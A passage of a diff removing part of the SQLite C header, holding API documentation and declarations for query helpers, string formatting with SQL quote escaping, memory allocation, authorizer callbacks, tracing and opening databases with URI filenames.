[SQLITE_IOERR_BLOCKED]. -** -** ^Calling this routine with an argument less than or equal to zero -** turns off all busy handlers. -** -** ^(There can only be a single busy handler for a particular -** [database connection] any any given moment. If another busy handler -** was defined (using [sqlite3_busy_handler()]) prior to calling -** this routine, that other busy handler is cleared.)^ -*/ -SQLITE_API int sqlite3_busy_timeout(sqlite3*, int ms); - -/* -** CAPI3REF: Convenience Routines For Running Queries -** -** This is a legacy interface that is preserved for backwards compatibility. -** Use of this interface is not recommended. -** -** Definition: A result table is memory data structure created by the -** [sqlite3_get_table()] interface. A result table records the -** complete query results from one or more queries. -** -** The table conceptually has a number of rows and columns. But -** these numbers are not part of the result table itself. These -** numbers are obtained separately. Let N be the number of rows -** and M be the number of columns. -** -** A result table is an array of pointers to zero-terminated UTF-8 strings. -** There are (N+1)*M elements in the array. The first M pointers point -** to zero-terminated strings that contain the names of the columns. -** The remaining entries all point to query results. NULL values result -** in NULL pointers. All other values are in their UTF-8 zero-terminated -** string representation as returned by [sqlite3_column_text()]. -** -** A result table might consist of one or more memory allocations. -** It is not safe to pass a result table directly to [sqlite3_free()]. -** A result table should be deallocated using [sqlite3_free_table()]. -** -** ^(As an example of the result table format, suppose a query result -** is as follows: -** -** 
-**        Name        | Age
-**        -----------------------
-**        Alice       | 43
-**        Bob         | 28
-**        Cindy       | 21
-**
-** -** There are two column (M==2) and three rows (N==3). Thus the -** result table has 8 entries. Suppose the result table is stored -** in an array names azResult. Then azResult holds this content: -** -** 
-**        azResult[0] = "Name";
-**        azResult[1] = "Age";
-**        azResult[2] = "Alice";
-**        azResult[3] = "43";
-**        azResult[4] = "Bob";
-**        azResult[5] = "28";
-**        azResult[6] = "Cindy";
-**        azResult[7] = "21";
-**
)^ -** -** ^The sqlite3_get_table() function evaluates one or more -** semicolon-separated SQL statements in the zero-terminated UTF-8 -** string of its 2nd parameter and returns a result table to the -** pointer given in its 3rd parameter. -** -** After the application has finished with the result from sqlite3_get_table(), -** it must pass the result table pointer to sqlite3_free_table() in order to -** release the memory that was malloced. Because of the way the -** [sqlite3_malloc()] happens within sqlite3_get_table(), the calling -** function must not try to call [sqlite3_free()] directly. Only -** [sqlite3_free_table()] is able to release the memory properly and safely. -** -** The sqlite3_get_table() interface is implemented as a wrapper around -** [sqlite3_exec()]. The sqlite3_get_table() routine does not have access -** to any internal data structures of SQLite. It uses only the public -** interface defined here. As a consequence, errors that occur in the -** wrapper layer outside of the internal [sqlite3_exec()] call are not -** reflected in subsequent calls to [sqlite3_errcode()] or -** [sqlite3_errmsg()]. -*/ -SQLITE_API int sqlite3_get_table( - sqlite3 *db, /* An open database */ - const char *zSql, /* SQL to be evaluated */ - char ***pazResult, /* Results of the query */ - int *pnRow, /* Number of result rows written here */ - int *pnColumn, /* Number of result columns written here */ - char **pzErrmsg /* Error msg written here */ -); -SQLITE_API void sqlite3_free_table(char **result); - -/* -** CAPI3REF: Formatted String Printing Functions -** -** These routines are work-alikes of the "printf()" family of functions -** from the standard C library. -** -** ^The sqlite3_mprintf() and sqlite3_vmprintf() routines write their -** results into memory obtained from [sqlite3_malloc()]. -** The strings returned by these two routines should be -** released by [sqlite3_free()]. ^Both routines return a -** NULL pointer if [sqlite3_malloc()] is unable to allocate enough -** memory to hold the resulting string. -** -** ^(The sqlite3_snprintf() routine is similar to "snprintf()" from -** the standard C library. The result is written into the -** buffer supplied as the second parameter whose size is given by -** the first parameter. Note that the order of the -** first two parameters is reversed from snprintf().)^ This is an -** historical accident that cannot be fixed without breaking -** backwards compatibility. ^(Note also that sqlite3_snprintf() -** returns a pointer to its buffer instead of the number of -** characters actually written into the buffer.)^ We admit that -** the number of characters written would be a more useful return -** value but we cannot change the implementation of sqlite3_snprintf() -** now without breaking compatibility. -** -** ^As long as the buffer size is greater than zero, sqlite3_snprintf() -** guarantees that the buffer is always zero-terminated. ^The first -** parameter "n" is the total size of the buffer, including space for -** the zero terminator. So the longest string that can be completely -** written will be n-1 characters. -** -** ^The sqlite3_vsnprintf() routine is a varargs version of sqlite3_snprintf(). -** -** These routines all implement some additional formatting -** options that are useful for constructing SQL statements. -** All of the usual printf() formatting options apply. In addition, there -** is are "%q", "%Q", and "%z" options. -** -** ^(The %q option works like %s in that it substitutes a nul-terminated -** string from the argument list. But %q also doubles every '\'' character. -** %q is designed for use inside a string literal.)^ By doubling each '\'' -** character it escapes that character and allows it to be inserted into -** the string. -** -** For example, assume the string variable zText contains text as follows: -** -** 
-**  char *zText = "It's a happy day!";
-**
-** -** One can use this text in an SQL statement as follows: -** -** 
-**  char *zSQL = sqlite3_mprintf("INSERT INTO table VALUES('%q')", zText);
-**  sqlite3_exec(db, zSQL, 0, 0, 0);
-**  sqlite3_free(zSQL);
-**
-** -** Because the %q format string is used, the '\'' character in zText -** is escaped and the SQL generated is as follows: -** -** 
-**  INSERT INTO table1 VALUES('It''s a happy day!')
-**
-** -** This is correct. Had we used %s instead of %q, the generated SQL -** would have looked like this: -** -** 
-**  INSERT INTO table1 VALUES('It's a happy day!');
-**
-** -** This second example is an SQL syntax error. As a general rule you should -** always use %q instead of %s when inserting text into a string literal. -** -** ^(The %Q option works like %q except it also adds single quotes around -** the outside of the total string. Additionally, if the parameter in the -** argument list is a NULL pointer, %Q substitutes the text "NULL" (without -** single quotes).)^ So, for example, one could say: -** -** 
-**  char *zSQL = sqlite3_mprintf("INSERT INTO table VALUES(%Q)", zText);
-**  sqlite3_exec(db, zSQL, 0, 0, 0);
-**  sqlite3_free(zSQL);
-**
-** -** The code above will render a correct SQL statement in the zSQL -** variable even if the zText variable is a NULL pointer. -** -** ^(The "%z" formatting option works like "%s" but with the -** addition that after the string has been read and copied into -** the result, [sqlite3_free()] is called on the input string.)^ -*/ -SQLITE_API char *sqlite3_mprintf(const char*,...); -SQLITE_API char *sqlite3_vmprintf(const char*, va_list); -SQLITE_API char *sqlite3_snprintf(int,char*,const char*, ...); -SQLITE_API char *sqlite3_vsnprintf(int,char*,const char*, va_list); - -/* -** CAPI3REF: Memory Allocation Subsystem -** -** The SQLite core uses these three routines for all of its own -** internal memory allocation needs. "Core" in the previous sentence -** does not include operating-system specific VFS implementation. The -** Windows VFS uses native malloc() and free() for some operations. -** -** ^The sqlite3_malloc() routine returns a pointer to a block -** of memory at least N bytes in length, where N is the parameter. -** ^If sqlite3_malloc() is unable to obtain sufficient free -** memory, it returns a NULL pointer. ^If the parameter N to -** sqlite3_malloc() is zero or negative then sqlite3_malloc() returns -** a NULL pointer. -** -** ^Calling sqlite3_free() with a pointer previously returned -** by sqlite3_malloc() or sqlite3_realloc() releases that memory so -** that it might be reused. ^The sqlite3_free() routine is -** a no-op if is called with a NULL pointer. Passing a NULL pointer -** to sqlite3_free() is harmless. After being freed, memory -** should neither be read nor written. Even reading previously freed -** memory might result in a segmentation fault or other severe error. -** Memory corruption, a segmentation fault, or other severe error -** might result if sqlite3_free() is called with a non-NULL pointer that -** was not obtained from sqlite3_malloc() or sqlite3_realloc(). -** -** ^(The sqlite3_realloc() interface attempts to resize a -** prior memory allocation to be at least N bytes, where N is the -** second parameter. The memory allocation to be resized is the first -** parameter.)^ ^ If the first parameter to sqlite3_realloc() -** is a NULL pointer then its behavior is identical to calling -** sqlite3_malloc(N) where N is the second parameter to sqlite3_realloc(). -** ^If the second parameter to sqlite3_realloc() is zero or -** negative then the behavior is exactly the same as calling -** sqlite3_free(P) where P is the first parameter to sqlite3_realloc(). -** ^sqlite3_realloc() returns a pointer to a memory allocation -** of at least N bytes in size or NULL if sufficient memory is unavailable. -** ^If M is the size of the prior allocation, then min(N,M) bytes -** of the prior allocation are copied into the beginning of buffer returned -** by sqlite3_realloc() and the prior allocation is freed. -** ^If sqlite3_realloc() returns NULL, then the prior allocation -** is not freed. -** -** ^The memory returned by sqlite3_malloc() and sqlite3_realloc() -** is always aligned to at least an 8 byte boundary, or to a -** 4 byte boundary if the [SQLITE_4_BYTE_ALIGNED_MALLOC] compile-time -** option is used. -** -** In SQLite version 3.5.0 and 3.5.1, it was possible to define -** the SQLITE_OMIT_MEMORY_ALLOCATION which would cause the built-in -** implementation of these routines to be omitted. That capability -** is no longer provided. Only built-in memory allocators can be used. -** -** Prior to SQLite version 3.7.10, the Windows OS interface layer called -** the system malloc() and free() directly when converting -** filenames between the UTF-8 encoding used by SQLite -** and whatever filename encoding is used by the particular Windows -** installation. Memory allocation errors were detected, but -** they were reported back as [SQLITE_CANTOPEN] or -** [SQLITE_IOERR] rather than [SQLITE_NOMEM]. -** -** The pointer arguments to [sqlite3_free()] and [sqlite3_realloc()] -** must be either NULL or else pointers obtained from a prior -** invocation of [sqlite3_malloc()] or [sqlite3_realloc()] that have -** not yet been released. -** -** The application must not read or write any part of -** a block of memory after it has been released using -** [sqlite3_free()] or [sqlite3_realloc()]. -*/ -SQLITE_API void *sqlite3_malloc(int); -SQLITE_API void *sqlite3_realloc(void*, int); -SQLITE_API void sqlite3_free(void*); - -/* -** CAPI3REF: Memory Allocator Statistics -** -** SQLite provides these two interfaces for reporting on the status -** of the [sqlite3_malloc()], [sqlite3_free()], and [sqlite3_realloc()] -** routines, which form the built-in memory allocation subsystem. -** -** ^The [sqlite3_memory_used()] routine returns the number of bytes -** of memory currently outstanding (malloced but not freed). -** ^The [sqlite3_memory_highwater()] routine returns the maximum -** value of [sqlite3_memory_used()] since the high-water mark -** was last reset. ^The values returned by [sqlite3_memory_used()] and -** [sqlite3_memory_highwater()] include any overhead -** added by SQLite in its implementation of [sqlite3_malloc()], -** but not overhead added by the any underlying system library -** routines that [sqlite3_malloc()] may call. -** -** ^The memory high-water mark is reset to the current value of -** [sqlite3_memory_used()] if and only if the parameter to -** [sqlite3_memory_highwater()] is true. ^The value returned -** by [sqlite3_memory_highwater(1)] is the high-water mark -** prior to the reset. -*/ -SQLITE_API sqlite3_int64 sqlite3_memory_used(void); -SQLITE_API sqlite3_int64 sqlite3_memory_highwater(int resetFlag); - -/* -** CAPI3REF: Pseudo-Random Number Generator -** -** SQLite contains a high-quality pseudo-random number generator (PRNG) used to -** select random [ROWID | ROWIDs] when inserting new records into a table that -** already uses the largest possible [ROWID]. The PRNG is also used for -** the build-in random() and randomblob() SQL functions. This interface allows -** applications to access the same PRNG for other purposes. -** -** ^A call to this routine stores N bytes of randomness into buffer P. -** -** ^The first time this routine is invoked (either internally or by -** the application) the PRNG is seeded using randomness obtained -** from the xRandomness method of the default [sqlite3_vfs] object. -** ^On all subsequent invocations, the pseudo-randomness is generated -** internally and without recourse to the [sqlite3_vfs] xRandomness -** method. -*/ -SQLITE_API void sqlite3_randomness(int N, void *P); - -/* -** CAPI3REF: Compile-Time Authorization Callbacks -** -** ^This routine registers an authorizer callback with a particular -** [database connection], supplied in the first argument. -** ^The authorizer callback is invoked as SQL statements are being compiled -** by [sqlite3_prepare()] or its variants [sqlite3_prepare_v2()], -** [sqlite3_prepare16()] and [sqlite3_prepare16_v2()]. ^At various -** points during the compilation process, as logic is being created -** to perform various actions, the authorizer callback is invoked to -** see if those actions are allowed. ^The authorizer callback should -** return [SQLITE_OK] to allow the action, [SQLITE_IGNORE] to disallow the -** specific action but allow the SQL statement to continue to be -** compiled, or [SQLITE_DENY] to cause the entire SQL statement to be -** rejected with an error. ^If the authorizer callback returns -** any value other than [SQLITE_IGNORE], [SQLITE_OK], or [SQLITE_DENY] -** then the [sqlite3_prepare_v2()] or equivalent call that triggered -** the authorizer will fail with an error message. -** -** When the callback returns [SQLITE_OK], that means the operation -** requested is ok. ^When the callback returns [SQLITE_DENY], the -** [sqlite3_prepare_v2()] or equivalent call that triggered the -** authorizer will fail with an error message explaining that -** access is denied. -** -** ^The first parameter to the authorizer callback is a copy of the third -** parameter to the sqlite3_set_authorizer() interface. ^The second parameter -** to the callback is an integer [SQLITE_COPY | action code] that specifies -** the particular action to be authorized. ^The third through sixth parameters -** to the callback are zero-terminated strings that contain additional -** details about the action to be authorized. -** -** ^If the action code is [SQLITE_READ] -** and the callback returns [SQLITE_IGNORE] then the -** [prepared statement] statement is constructed to substitute -** a NULL value in place of the table column that would have -** been read if [SQLITE_OK] had been returned. The [SQLITE_IGNORE] -** return can be used to deny an untrusted user access to individual -** columns of a table. -** ^If the action code is [SQLITE_DELETE] and the callback returns -** [SQLITE_IGNORE] then the [DELETE] operation proceeds but the -** [truncate optimization] is disabled and all rows are deleted individually. -** -** An authorizer is used when [sqlite3_prepare | preparing] -** SQL statements from an untrusted source, to ensure that the SQL statements -** do not try to access data they are not allowed to see, or that they do not -** try to execute malicious statements that damage the database. For -** example, an application may allow a user to enter arbitrary -** SQL queries for evaluation by a database. But the application does -** not want the user to be able to make arbitrary changes to the -** database. An authorizer could then be put in place while the -** user-entered SQL is being [sqlite3_prepare | prepared] that -** disallows everything except [SELECT] statements. -** -** Applications that need to process SQL from untrusted sources -** might also consider lowering resource limits using [sqlite3_limit()] -** and limiting database size using the [max_page_count] [PRAGMA] -** in addition to using an authorizer. -** -** ^(Only a single authorizer can be in place on a database connection -** at a time. Each call to sqlite3_set_authorizer overrides the -** previous call.)^ ^Disable the authorizer by installing a NULL callback. -** The authorizer is disabled by default. -** -** The authorizer callback must not do anything that will modify -** the database connection that invoked the authorizer callback. -** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their -** database connections for the meaning of "modify" in this paragraph. -** -** ^When [sqlite3_prepare_v2()] is used to prepare a statement, the -** statement might be re-prepared during [sqlite3_step()] due to a -** schema change. Hence, the application should ensure that the -** correct authorizer callback remains in place during the [sqlite3_step()]. -** -** ^Note that the authorizer callback is invoked only during -** [sqlite3_prepare()] or its variants. Authorization is not -** performed during statement evaluation in [sqlite3_step()], unless -** as stated in the previous paragraph, sqlite3_step() invokes -** sqlite3_prepare_v2() to reprepare a statement after a schema change. -*/ -SQLITE_API int sqlite3_set_authorizer( - sqlite3*, - int (*xAuth)(void*,int,const char*,const char*,const char*,const char*), - void *pUserData -); - -/* -** CAPI3REF: Authorizer Return Codes -** -** The [sqlite3_set_authorizer | authorizer callback function] must -** return either [SQLITE_OK] or one of these two constants in order -** to signal SQLite whether or not the action is permitted. See the -** [sqlite3_set_authorizer | authorizer documentation] for additional -** information. -** -** Note that SQLITE_IGNORE is also used as a [SQLITE_ROLLBACK | return code] -** from the [sqlite3_vtab_on_conflict()] interface. -*/ -#define SQLITE_DENY 1 /* Abort the SQL statement with an error */ -#define SQLITE_IGNORE 2 /* Don't allow access, but don't generate an error */ - -/* -** CAPI3REF: Authorizer Action Codes -** -** The [sqlite3_set_authorizer()] interface registers a callback function -** that is invoked to authorize certain SQL statement actions. The -** second parameter to the callback is an integer code that specifies -** what action is being authorized. These are the integer action codes that -** the authorizer callback may be passed. -** -** These action code values signify what kind of operation is to be -** authorized. The 3rd and 4th parameters to the authorization -** callback function will be parameters or NULL depending on which of these -** codes is used as the second parameter. ^(The 5th parameter to the -** authorizer callback is the name of the database ("main", "temp", -** etc.) if applicable.)^ ^The 6th parameter to the authorizer callback -** is the name of the inner-most trigger or view that is responsible for -** the access attempt or NULL if this access attempt is directly from -** top-level SQL code. -*/ -/******************************************* 3rd ************ 4th ***********/ -#define SQLITE_CREATE_INDEX 1 /* Index Name Table Name */ -#define SQLITE_CREATE_TABLE 2 /* Table Name NULL */ -#define SQLITE_CREATE_TEMP_INDEX 3 /* Index Name Table Name */ -#define SQLITE_CREATE_TEMP_TABLE 4 /* Table Name NULL */ -#define SQLITE_CREATE_TEMP_TRIGGER 5 /* Trigger Name Table Name */ -#define SQLITE_CREATE_TEMP_VIEW 6 /* View Name NULL */ -#define SQLITE_CREATE_TRIGGER 7 /* Trigger Name Table Name */ -#define SQLITE_CREATE_VIEW 8 /* View Name NULL */ -#define SQLITE_DELETE 9 /* Table Name NULL */ -#define SQLITE_DROP_INDEX 10 /* Index Name Table Name */ -#define SQLITE_DROP_TABLE 11 /* Table Name NULL */ -#define SQLITE_DROP_TEMP_INDEX 12 /* Index Name Table Name */ -#define SQLITE_DROP_TEMP_TABLE 13 /* Table Name NULL */ -#define SQLITE_DROP_TEMP_TRIGGER 14 /* Trigger Name Table Name */ -#define SQLITE_DROP_TEMP_VIEW 15 /* View Name NULL */ -#define SQLITE_DROP_TRIGGER 16 /* Trigger Name Table Name */ -#define SQLITE_DROP_VIEW 17 /* View Name NULL */ -#define SQLITE_INSERT 18 /* Table Name NULL */ -#define SQLITE_PRAGMA 19 /* Pragma Name 1st arg or NULL */ -#define SQLITE_READ 20 /* Table Name Column Name */ -#define SQLITE_SELECT 21 /* NULL NULL */ -#define SQLITE_TRANSACTION 22 /* Operation NULL */ -#define SQLITE_UPDATE 23 /* Table Name Column Name */ -#define SQLITE_ATTACH 24 /* Filename NULL */ -#define SQLITE_DETACH 25 /* Database Name NULL */ -#define SQLITE_ALTER_TABLE 26 /* Database Name Table Name */ -#define SQLITE_REINDEX 27 /* Index Name NULL */ -#define SQLITE_ANALYZE 28 /* Table Name NULL */ -#define SQLITE_CREATE_VTABLE 29 /* Table Name Module Name */ -#define SQLITE_DROP_VTABLE 30 /* Table Name Module Name */ -#define SQLITE_FUNCTION 31 /* NULL Function Name */ -#define SQLITE_SAVEPOINT 32 /* Operation Savepoint Name */ -#define SQLITE_COPY 0 /* No longer used */ - -/* -** CAPI3REF: Tracing And Profiling Functions -** -** These routines register callback functions that can be used for -** tracing and profiling the execution of SQL statements. -** -** ^The callback function registered by sqlite3_trace() is invoked at -** various times when an SQL statement is being run by [sqlite3_step()]. -** ^The sqlite3_trace() callback is invoked with a UTF-8 rendering of the -** SQL statement text as the statement first begins executing. -** ^(Additional sqlite3_trace() callbacks might occur -** as each triggered subprogram is entered. The callbacks for triggers -** contain a UTF-8 SQL comment that identifies the trigger.)^ -** -** The [SQLITE_TRACE_SIZE_LIMIT] compile-time option can be used to limit -** the length of [bound parameter] expansion in the output of sqlite3_trace(). -** -** ^The callback function registered by sqlite3_profile() is invoked -** as each SQL statement finishes. ^The profile callback contains -** the original statement text and an estimate of wall-clock time -** of how long that statement took to run. ^The profile callback -** time is in units of nanoseconds, however the current implementation -** is only capable of millisecond resolution so the six least significant -** digits in the time are meaningless. Future versions of SQLite -** might provide greater resolution on the profiler callback. The -** sqlite3_profile() function is considered experimental and is -** subject to change in future versions of SQLite. -*/ -SQLITE_API void *sqlite3_trace(sqlite3*, void(*xTrace)(void*,const char*), void*); -SQLITE_API SQLITE_EXPERIMENTAL void *sqlite3_profile(sqlite3*, - void(*xProfile)(void*,const char*,sqlite3_uint64), void*); - -/* -** CAPI3REF: Query Progress Callbacks -** -** ^The sqlite3_progress_handler(D,N,X,P) interface causes the callback -** function X to be invoked periodically during long running calls to -** [sqlite3_exec()], [sqlite3_step()] and [sqlite3_get_table()] for -** database connection D. An example use for this -** interface is to keep a GUI updated during a large query. -** -** ^The parameter P is passed through as the only parameter to the -** callback function X. ^The parameter N is the number of -** [virtual machine instructions] that are evaluated between successive -** invocations of the callback X. -** -** ^Only a single progress handler may be defined at one time per -** [database connection]; setting a new progress handler cancels the -** old one. ^Setting parameter X to NULL disables the progress handler. -** ^The progress handler is also disabled by setting N to a value less -** than 1. -** -** ^If the progress callback returns non-zero, the operation is -** interrupted. This feature can be used to implement a -** "Cancel" button on a GUI progress dialog box. -** -** The progress handler callback must not do anything that will modify -** the database connection that invoked the progress handler. -** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their -** database connections for the meaning of "modify" in this paragraph. -** -*/ -SQLITE_API void sqlite3_progress_handler(sqlite3*, int, int(*)(void*), void*); - -/* -** CAPI3REF: Opening A New Database Connection -** -** ^These routines open an SQLite database file as specified by the -** filename argument. ^The filename argument is interpreted as UTF-8 for -** sqlite3_open() and sqlite3_open_v2() and as UTF-16 in the native byte -** order for sqlite3_open16(). ^(A [database connection] handle is usually -** returned in *ppDb, even if an error occurs. The only exception is that -** if SQLite is unable to allocate memory to hold the [sqlite3] object, -** a NULL will be written into *ppDb instead of a pointer to the [sqlite3] -** object.)^ ^(If the database is opened (and/or created) successfully, then -** [SQLITE_OK] is returned. Otherwise an [error code] is returned.)^ ^The -** [sqlite3_errmsg()] or [sqlite3_errmsg16()] routines can be used to obtain -** an English language description of the error following a failure of any -** of the sqlite3_open() routines. -** -** ^The default encoding for the database will be UTF-8 if -** sqlite3_open() or sqlite3_open_v2() is called and -** UTF-16 in the native byte order if sqlite3_open16() is used. -** -** Whether or not an error occurs when it is opened, resources -** associated with the [database connection] handle should be released by -** passing it to [sqlite3_close()] when it is no longer required. -** -** The sqlite3_open_v2() interface works like sqlite3_open() -** except that it accepts two additional parameters for additional control -** over the new database connection. ^(The flags parameter to -** sqlite3_open_v2() can take one of -** the following three values, optionally combined with the -** [SQLITE_OPEN_NOMUTEX], [SQLITE_OPEN_FULLMUTEX], [SQLITE_OPEN_SHAREDCACHE], -** [SQLITE_OPEN_PRIVATECACHE], and/or [SQLITE_OPEN_URI] flags:)^ -** -**
-** ^(
[SQLITE_OPEN_READONLY]
-**
The database is opened in read-only mode. If the database does not -** already exist, an error is returned.
)^ -** -** ^(
[SQLITE_OPEN_READWRITE]
-**
The database is opened for reading and writing if possible, or reading -** only if the file is write protected by the operating system. In either -** case the database must already exist, otherwise an error is returned.
)^ -** -** ^(
[SQLITE_OPEN_READWRITE] | [SQLITE_OPEN_CREATE]
-**
The database is opened for reading and writing, and is created if -** it does not already exist. This is the behavior that is always used for -** sqlite3_open() and sqlite3_open16().
)^ -**
-** -** If the 3rd parameter to sqlite3_open_v2() is not one of the -** combinations shown above optionally combined with other -** [SQLITE_OPEN_READONLY | SQLITE_OPEN_* bits] -** then the behavior is undefined. -** -** ^If the [SQLITE_OPEN_NOMUTEX] flag is set, then the database connection -** opens in the multi-thread [threading mode] as long as the single-thread -** mode has not been set at compile-time or start-time. ^If the -** [SQLITE_OPEN_FULLMUTEX] flag is set then the database connection opens -** in the serialized [threading mode] unless single-thread was -** previously selected at compile-time or start-time. -** ^The [SQLITE_OPEN_SHAREDCACHE] flag causes the database connection to be -** eligible to use [shared cache mode], regardless of whether or not shared -** cache is enabled using [sqlite3_enable_shared_cache()]. ^The -** [SQLITE_OPEN_PRIVATECACHE] flag causes the database connection to not -** participate in [shared cache mode] even if it is enabled. -** -** ^The fourth parameter to sqlite3_open_v2() is the name of the -** [sqlite3_vfs] object that defines the operating system interface that -** the new database connection should use. ^If the fourth parameter is -** a NULL pointer then the default [sqlite3_vfs] object is used. -** -** ^If the filename is ":memory:", then a private, temporary in-memory database -** is created for the connection. ^This in-memory database will vanish when -** the database connection is closed. Future versions of SQLite might -** make use of additional special filenames that begin with the ":" character. -** It is recommended that when a database filename actually does begin with -** a ":" character you should prefix the filename with a pathname such as -** "./" to avoid ambiguity. -** -** ^If the filename is an empty string, then a private, temporary -** on-disk database will be created. ^This private database will be -** automatically deleted as soon as the database connection is closed. -** -** [[URI filenames in sqlite3_open()]]

URI Filenames

-** -** ^If [URI filename] interpretation is enabled, and the filename argument -** begins with "file:", then the filename is interpreted as a URI. ^URI -** filename interpretation is enabled if the [SQLITE_OPEN_URI] flag is -** set in the fourth argument to sqlite3_open_v2(), or if it has -** been enabled globally using the [SQLITE_CONFIG_URI] option with the -** [sqlite3_config()] method or by the [SQLITE_USE_URI] compile-time option. -** As of SQLite version 3.7.7, URI filename interpretation is turned off -** by default, but future releases of SQLite might enable URI filename -** interpretation by default. See "[URI filenames]" for additional -** information. -** -** URI filenames are parsed according to RFC 3986. ^If the URI contains an -** authority, then it must be either an empty string or the string -** "localhost". ^If the authority is not an empty string or "localhost", an -** error is returned to the caller. ^The fragment component of a URI, if -** present, is ignored. -** -** ^SQLite uses the path component of the URI as the name of the disk file -** which contains the database. ^If the path begins with a '/' character, -** then it is interpreted as an absolute path. ^If the path does not begin -** with a '/' (meaning that the authority section is omitted from the URI) -** then the path is interpreted as a relative path. -** ^On windows, the first component of an absolute path -** is a drive specification (e.g. "C:"). -** -** [[core URI query parameters]] -** The query component of a URI may contain parameters that are interpreted -** either by SQLite itself, or by a [VFS | custom VFS implementation]. -** SQLite interprets the following three query parameters: -** -**
    -**
  • vfs: ^The "vfs" parameter may be used to specify the name of -** a VFS object that provides the operating system interface that should -** be used to access the database file on disk. ^If this option is set to -** an empty string the default VFS object is used. ^Specifying an unknown -** VFS is an error. ^If sqlite3_open_v2() is used and the vfs option is -** present, then the VFS specified by the option takes precedence over -** the value passed as the fourth parameter to sqlite3_open_v2(). -** -**
  • mode: ^(The mode parameter may be set to either "ro", "rw", -** "rwc", or "memory". Attempting to set it to any other value is -** an error)^. -** ^If "ro" is specified, then the database is opened for read-only -** access, just as if the [SQLITE_OPEN_READONLY] flag had been set in the -** third argument to sqlite3_open_v2(). ^If the mode option is set to -** "rw", then the database is opened for read-write (but not create) -** access, as if SQLITE_OPEN_READWRITE (but not SQLITE_OPEN_CREATE) had -** been set. ^Value "rwc" is equivalent to setting both -** SQLITE_OPEN_READWRITE and SQLITE_OPEN_CREATE. ^If the mode option is -** set to "memory" then a pure [in-memory database] that never reads -** or writes from disk is used. ^It is an error to specify a value for -** the mode parameter that is less restrictive than that specified by -** the flags passed in the third parameter to sqlite3_open_v2(). -** -**
  • cache: ^The cache parameter may be set to either "shared" or -** "private". ^Setting it to "shared" is equivalent to setting the -** SQLITE_OPEN_SHAREDCACHE bit in the flags argument passed to -** sqlite3_open_v2(). ^Setting the cache parameter to "private" is -** equivalent to setting the SQLITE_OPEN_PRIVATECACHE bit. -** ^If sqlite3_open_v2() is used and the "cache" parameter is present in -** a URI filename, its value overrides any behavior requested by setting -** SQLITE_OPEN_PRIVATECACHE or SQLITE_OPEN_SHAREDCACHE flag. -**
-** -** ^Specifying an unknown parameter in the query component of a URI is not an -** error. Future versions of SQLite might understand additional query -** parameters. See "[query parameters with special meaning to SQLite]" for -** additional information. -** -** [[URI filename examples]]

URI filename examples

-** -** -**
URI filenames Results -**
file:data.db -** Open the file "data.db" in the current directory. -**
file:/home/fred/data.db
-** file:///home/fred/data.db
-** file://localhost/home/fred/data.db
-** Open the database file "/home/fred/data.db". -**
file://darkstar/home/fred/data.db -** An error. "darkstar" is not a recognized authority. -**
-** file:///C:/Documents%20and%20Settings/fred/Desktop/data.db -** Windows only: Open the file "data.db" on fred's desktop on drive -** C:. Note that the %20 escaping in this example is not strictly -** necessary - space characters can be used literally -** in URI filenames. -**
file:data.db?mode=ro&cache=private -** Open file "data.db" in the current directory for read-only access. -** Regardless of whether or not shared-cache mode is enabled by -** default, use a private cache. -**
file:/home/fred/data.db?vfs=unix-nolock -** Open file "/home/fred/data.db". Use the special VFS "unix-nolock". -**
file:data.db?mode=readonly -** An error. "readonly" is not a valid option for the "mode" parameter. -**
-** -** ^URI hexadecimal escape sequences (%HH) are supported within the path and -** query components of a URI. A hexadecimal escape sequence consists of a -** percent sign - "%" - followed by exactly two hexadecimal digits -** specifying an octet value. ^Before the path or query components of a -** URI filename are interpreted, they are encoded using UTF-8 and all -** hexadecimal escape sequences replaced by a single byte containing the -** corresponding octet. If this process generates an invalid UTF-8 encoding, -** the results are undefined. -** -** Note to Windows users: The encoding used for the filename argument -** of sqlite3_open() and sqlite3_open_v2() must be UTF-8, not whatever -** codepage is currently defined. Filenames containing international -** characters must be converted to UTF-8 prior to passing them into -** sqlite3_open() or sqlite3_open_v2(). -** -** Note to Windows Runtime users: The temporary directory must be set -** prior to calling sqlite3_open() or sqlite3_open_v2(). Otherwise, various -** features that require the use of temporary files may fail. -** -** See also: [sqlite3_temp_directory] -*/ -SQLITE_API int sqlite3_open( - const char *filename, /* Database filename (UTF-8) */ - sqlite3 **ppDb /* OUT: SQLite db handle */ -); -SQLITE_API int sqlite3_open16( - const void *filename, /* Database filename (UTF-16) */ - sqlite3 **ppDb /* OUT: SQLite db handle */ -); -SQLITE_API int sqlite3_open_v2( - const char *filename, /* Database filename (UTF-8) */ - sqlite3 **ppDb, /* OUT: SQLite db handle */ - int flags, /* Flags */ - const char *zVfs /* Name of VFS module to use */ -); - -/* -** CAPI3REF: Obtain Values For URI Parameters -** -** These are utility routines, useful to VFS implementations, that check -** to see if a database file was a URI that contained a specific query -** parameter, and if so obtains the value of that query parameter. -** -** If F is the database filename pointer passed into the xOpen() method of -** a VFS implementation when the flags parameter to xOpen() has one or -** more of the [SQLITE_OPEN_URI] or [SQLITE_OPEN_MAIN_DB] bits set and -** P is the name of the query parameter, then -** sqlite3_uri_parameter(F,P) returns the value of the P -** parameter if it exists or a NULL pointer if P does not appear as a -** query parameter on F. If P is a query parameter of F -** has no explicit value, then sqlite3_uri_parameter(F,P) returns -** a pointer to an empty string. -** -** The sqlite3_uri_boolean(F,P,B) routine assumes that P is a boolean -** parameter and returns true (1) or false (0) according to the value -** of P. The sqlite3_uri_boolean(F,P,B) routine returns true (1) if the -** value of query parameter P is one of "yes", "true", or "on" in any -** case or if the value begins with a non-zero number. The -** sqlite3_uri_boolean(F,P,B) routines returns false (0) if the value of -** query parameter P is one of "no", "false", or "off" in any case or -** if the value begins with a numeric zero. If P is not a query -** parameter on F or if the value of P is does not match any of the -** above, then sqlite3_uri_boolean(F,P,B) returns (B!=0). -** -** The sqlite3_uri_int64(F,P,D) routine converts the value of P into a -** 64-bit signed integer and returns that integer, or D if P does not -** exist. If the value of P is something other than an integer, then -** zero is returned. -** -** If F is a NULL pointer, then sqlite3_uri_parameter(F,P) returns NULL and -** sqlite3_uri_boolean(F,P,B) returns B. If F is not a NULL pointer and -** is not a database file pathname pointer that SQLite passed into the xOpen -** VFS method, then the behavior of this routine is undefined and probably -** undesirable. -*/ -SQLITE_API const char *sqlite3_uri_parameter(const char *zFilename, const char *zParam); -SQLITE_API int sqlite3_uri_boolean(const char *zFile, const char *zParam, int bDefault); -SQLITE_API sqlite3_int64 sqlite3_uri_int64(const 